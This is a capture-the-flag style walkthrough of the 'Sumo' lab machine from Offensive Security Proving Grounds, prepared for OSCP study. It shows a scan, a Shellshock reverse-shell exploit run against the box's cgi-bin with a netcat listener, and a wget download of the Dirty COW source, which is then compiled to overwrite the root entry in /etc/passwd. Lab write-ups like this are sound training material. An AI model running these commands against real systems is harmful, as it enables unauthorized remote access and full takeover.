Offensive Security Proving Grounds (Sumo)

Offensive Security offers free lab machines under their “Proving Grounds” library that I find super helpful to prepare for the OSCP. I will be walking you through my experience with an “easy” level machine called Sumo. This machine goes over exploiting shellshock, a well-known vulnerability in bash, along with the dirty Cow Linux kernel exploit, which gives any user root-level access.

Enumeration:

I started with my autorecon scans, which has every enumeration tool baked into it. I got only two ports open from the scan results which is less stressful for me when doing these CTF challenges lol..

Nmap scan report for 192.168.154.87
Host is up, received user-set (0.079s latency).
Scanned at 2024-02-07 12:08:47 PST for 87s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAO7z5YzRXLGqibzkX44TJn616aaDE3rvYcPwMiyWE3/J+WrJNkyMIRfqggIho1dxtYOA5xXP+UCk3osMe5XlMlocy3McGlmqhSrMFbQOOFrvm/PMAF649Xq/rDm2M/m+sXgxvQmJyLV36DqwbxxCL1wrICNk4cxfDG1K2yTGVw/rAAAAFQDa/l4YfWS1CNCRhv0XZbwXkGdxfwAAAIEAnMQzPH7CGQKfsHXgyFl3lsOMpj0ddXHG/rWZvFn+8NdAh48do0cN88Bti8C4Asibcp0zbEEga9KgxeR+dQi2lg3nHRzHFTPTnjybfUZqST4fU1VE9oJFCL3Q1cWHPfcvQzXNqbVDwMLSqpRYAbexXET64DgwX4fw8FSV6efKaQQAAACAVGZB5+2BdywfhdFT0HqANuHvcLfjGPQ8XkNTcO+XFSWxNFwTnLOzZE8FVNsTIBdMjXKjbWOwLMkzb4EHhkeyJglqDWvBoVTiDpXbRxctFiGt0Z83EvTJJSEAGYDCMHkux/dcVYe0WNjJYX9GBjXB2yhL/2kZuH0lzoNx9fITQ/U=
|   2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwlghTOhfNbdMRHJF0N2ho6RlE8HR+wVE5aoFt/PPu6dveDLV7xt7GLS8Q849r1tAScErRUVryrD6gwQ0DB45hGrw8POQlnUHggTjyNp3+sshrWqRs5Dp93LL3NvhpBXl6YD9bJEC3e2qXY3Vwm+Wc/GE/9SxlB+aHL/ekjgNVWgpMT1y/fCKAWlF4TLKUl7Xc21GGWnQptGyYweSbefo4TPa7neg+YdpZkqMWaoK/eEbG+Ze5ocSEWrmB3jQMDHhgeZDO/gB3iuxSDrOToSZmsNcW6TtgqyVyo1q26VIjVRWZPlm9wyR1YB4M85uXZG2DSYu4TFKDwKhXBCqgnSHx
|   256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAf1vV7lVrnTZwOIFZj7gvuahGAK2YAv8dBxFD5jV7Ho5nXHPCulaGcA9aYW9z2ih2JL/0+3zfdPfk3JBYVyrM8=
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.2.22 (Ubuntu)
Aggressive OS guesses: Linux 3.2 - 3.8 (91%), Linux 3.8 (91%), WatchGuard Fireware 11.8 (91%), Linux 3.5 (89%), Linux 3.1 - 3.2 (89%), Linux 2.6.32 - 2.6.39 (89%), Linux 3.0 - 3.2 (88%), Linux 2.6.32 (87%), Linux 3.0 (87%), Linux 3.0 or 3.5 (87%)

I visited the IP in Firefox since port 80 was open and was presented with a boring default installation page.

I ran Gobuster and did not get any hits for potential exposed directories. My next move was to go back to my autorecon scan and analyze all of the scanned output in the port 80 folder. The Nikto scan results really stood out because I noticed it found some vulnerabilities with shell shocks along with the /cgi-bin exposed.

I googled “shellshock exploit github” and got a great python exploit that worked fantastic.

sudo git clone https://github.com/b4keSn4ke/CVE-2014-6271

GitHub - b4keSn4ke/CVE-2014-6271: Shellshock exploit aka CVE-2014-6271

Lets dive deep into what this exploit code is doing and how this vulnerability is exploited.

Here’s a breakdown of what the code is doing:

• Script Information: The script provides information about the exploit title, CVE identifier, author, version, and tested environment.
• Instructions: The script includes instructions for using the exploit, including how to identify vulnerable servers and set up a TCP listener for the reverse shell.
• Imports: The script imports necessary modules from the Python standard library (os, urllib, argparse, ssl, socket, time).
• Constants and Banners: It defines constants such as the exploit banner and TLS versions.

Main Function (main):

• Parses command-line arguments (LHOST, LPORT, TARGET_URL).
• Determines the protocol (http or https) and extracts the target hostname and port.
• Sets up the payload for exploiting the ShellShock vulnerability.
• Sends the payload to the target URL using HTTP or HTTPS.

Helper Functions:

• setProtocol: Determines the protocol (http or https) based on the provided URL.
• setPayload: Constructs the payload with the reverse shell command and sets HTTP headers.
• sendPayload: Sends the payload to the target URL using HTTP or HTTPS, handling errors and retries.
• testRevShell: Tests if the reverse shell connection is successful by attempting to connect back to the specified listener.
  Entry Point (__name__ == ‘__main__’): Calls the main function to start the exploit.

Overall, the script automates the process of exploiting the ShellShock vulnerability by sending a specially crafted payload to a vulnerable HTTP server, allowing remote code execution. It handles various scenarios, such as detecting the protocol, sending the payload over HTTP or HTTPS, and testing the reverse shell connection.

On my attack machine I set up a netcat listener:

nc -lvp 1234

Ran the python exploit and got a shell on my netcat listener!

python3 shellshock.py 192.168.45.243 1234 http://192.168.154.87/cgi-bin/test/test.cgi

Upgraded my shell because it was wonky:

/usr/bin/script -qc /bin/bash /dev/null

I pushed linpeas onto the machine and it highlighted a vulnerable version of linux along with a list of available kernel exploits.

The dirty Cow exploit was my first thought because in the hacker world this is a very known kernel exploit.

I googled a github version of this exploit and found a great one that worked thanks to Mr. Firefart?

Interesting hacker handle dude 😂.

On my attack machine:

git clone https://github.com/firefart/dirtycow
python -m http.server 80

On the target machine in the /tmp directory:

wget http://<my ip>/dirty.c
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
 ./dirty password

The user will be prompted for the new password when the binary is run. The original /etc/passwd file is then backed up to /tmp/passwd.bak and overwrites the root account with the generated line.

From there I did an ssh to Mr. firefart’s account and got root babyyyy!

sudo ssh -oHostKeyAlgorithms=+ssh-dss firefart@192.168.231.87